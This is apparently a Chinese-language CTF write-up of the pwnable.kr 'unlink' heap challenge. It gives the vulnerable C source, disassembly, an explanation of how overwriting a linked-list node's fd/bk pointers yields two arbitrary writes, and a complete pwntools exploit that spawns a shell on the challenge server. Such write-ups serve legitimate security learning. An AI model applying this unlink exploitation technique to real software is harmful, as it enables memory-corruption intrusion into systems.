pwnable.kr之unlink
pwnable.kr之unlink
之前在看别的东西,学习的随笔也没有写完......颓了几天。
由于最近在看堆,就把pwnable.kr上unlink这道题做一下,学习一下。
1.程序分析
#include#include #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; }
给出的源码如下。程序实现了一个结构体,指针域是两个指针,数据域是一个8字节大小的字符数组,其实就是模拟了一个chunk块,后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。
程序的结尾有一个gets函数,向结构体A的buf中填充数据,可以看到这里对输入数据的大小没有做检查,所以存在堆溢出,我们应该可以覆盖B结构体的fd指针和bk指针。
这里泄露出了A在栈中的地址,以及A的堆地址。
gdb中调试一下,在输入‘abcd’之后,断点设在unlink函数中,A->buf地址保留在eax寄存器中,查看堆布局如下:
0x804b5b0是结构体A的首地址,可以看到,A的bk指针指向B,C的fd指针指向B。
unlink实现的功能其实入下:
P->fd->bk=P->bk
P->bk->fd=P->fd
覆盖B的bk和fd指针,可以进行两次任意写。IDA中伪代码如下:
0x804853910>: push ebp 0x804853a 11>: mov ebp,esp 0x804853c 13>: push ecx => 0x804853d 14>: sub esp,0x14 0x8048540 17>: sub esp,0xc 0x8048543 20>: push 0x400 0x8048548 25>: call 0x80483a0 0x804854d 30>: add esp,0x10 0x8048550 33>: sub esp,0xc 0x8048553 36>: push 0x10 0x8048555 38>: call 0x80483a0 0x804855a 43>: add esp,0x10 0x804855d 46>: mov DWORD PTR [ebp-0x14],eax 0x8048560 49>: sub esp,0xc 0x8048563 52>: push 0x10 0x8048565 54>: call 0x80483a0 0x804856a 59>: add esp,0x10 0x804856d 62>: mov DWORD PTR [ebp-0xc],eax 0x8048570 65>: sub esp,0xc 0x8048573 68>: push 0x10 0x8048575 70>: call 0x80483a0 0x804857a 75>: add esp,0x10 0x804857d 78>: mov DWORD PTR [ebp-0x10],eax 0x8048580 81>: mov eax,DWORD PTR [ebp-0x14] 0x8048583 84>: mov edx,DWORD PTR [ebp-0xc] 0x8048586 87>: mov DWORD PTR [eax],edx 0x8048588 89>: mov edx,DWORD PTR [ebp-0x14] 0x804858b 92>: mov eax,DWORD PTR [ebp-0xc] 0x804858e 95>: mov DWORD PTR [eax+0x4],edx 0x8048591 98>: mov eax,DWORD PTR [ebp-0xc] 0x8048594 101>: mov edx,DWORD PTR [ebp-0x10] 0x8048597 104>: mov DWORD PTR [eax],edx 0x8048599 106>: mov eax,DWORD PTR [ebp-0x10] 0x804859c 109>: mov edx,DWORD PTR [ebp-0xc] 0x804859f 112>: mov DWORD PTR [eax+0x4],edx 0x80485a2 115>: sub esp,0x8 0x80485a5 118>: lea eax,[ebp-0x14] 0x80485a8 121>: push eax 0x80485a9 122>: push 0x8048698 0x80485ae 127>: call 0x8048380 0x80485b3 132>: add esp,0x10 0x80485b6 135>: mov eax,DWORD PTR [ebp-0x14] 0x80485b9 138>: sub esp,0x8 0x80485bc 141>: push eax 0x80485bd 142>: push 0x80486b8 0x80485c2 147>: call 0x8048380 0x80485c7 152>: add esp,0x10 0x80485ca 155>: sub esp,0xc 0x80485cd 158>: push 0x80486d8 0x80485d2 163>: call 0x80483b0 0x80485d7 168>: add esp,0x10 0x80485da 171>: mov eax,DWORD PTR [ebp-0x14] 0x80485dd 174>: add eax,0x8 0x80485e0 177>: sub esp,0xc 0x80485e3 180>: push eax 0x80485e4 181>: call 0x8048390 0x80485e9 186>: add esp,0x10 0x80485ec 189>: sub esp,0xc 0x80485ef 192>: push DWORD PTR [ebp-0xc] 0x80485f2 195>: call 0x8048504 0x80485f7 200>: add esp,0x10 0x80485fa 203>: mov eax,0x0 0x80485ff 208>: mov ecx,DWORD PTR [ebp-0x4] 0x8048602 211>: leave 0x8048603 212>: lea esp,[ecx-0x4] 0x8048606 215>: ret
主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器,ret把esp的值pop给eip寄存器。我们想要get shell,就要跳转到shell函数中,所以这里就要通过控制栈里的值来控制eip寄存器的值。
A,B,C结构体地址在栈中的布局如下所示:
我们要把shell函数的地址填充到ebp_0x8函数的地址处,也就是&A+0x12处。&A的地址,题目已经给我们了。
所以这里主要的问题就是如何填充堆空间了,再来理解一下unlink函数实现的功能:
假设我们把B的bk指针覆盖为“####”,fd指针覆盖为"$$$$",unlink函数就实现了一下功能:
BK=*(B+4)=####,把“####”赋给BK
FD=*(B)=$$$$,把“$$$$”赋给FD
FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处
BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处
0x80485ff208>: mov ecx,DWORD PTR [ebp-0x4] 0x8048602 211>: leave 0x8048603 212>: lea esp,[ecx-0x4] 0x8048606 215>: ret
我们把ecx-4指向的地址处的值,要覆盖为&shell_addr+4。
exp如下:
from pwn import * context.log_level="debug" DEBUG=0 if DEBUG: io=process('./unlink') else: sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest') io=sh.run("./unlink") elf=ELF('./unlink') shell_addr=0x080484EC io.recvuntil("here is stack address leak: ") leak_stack=int(io.recv(10),16) print("stack_addr:{}".format(hex(leak_stack))) io.recvuntil("here is heap address leak: ") leak_heap=int(io.recv(10),16) print("heap_addr:{}".format(hex(leak_heap))) io.recvline() ebp_addr=leak_stack+0x14 ecx_addr=ebp_addr-0x4 padding='a'*8 payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4) io.send(payload) io.interactive()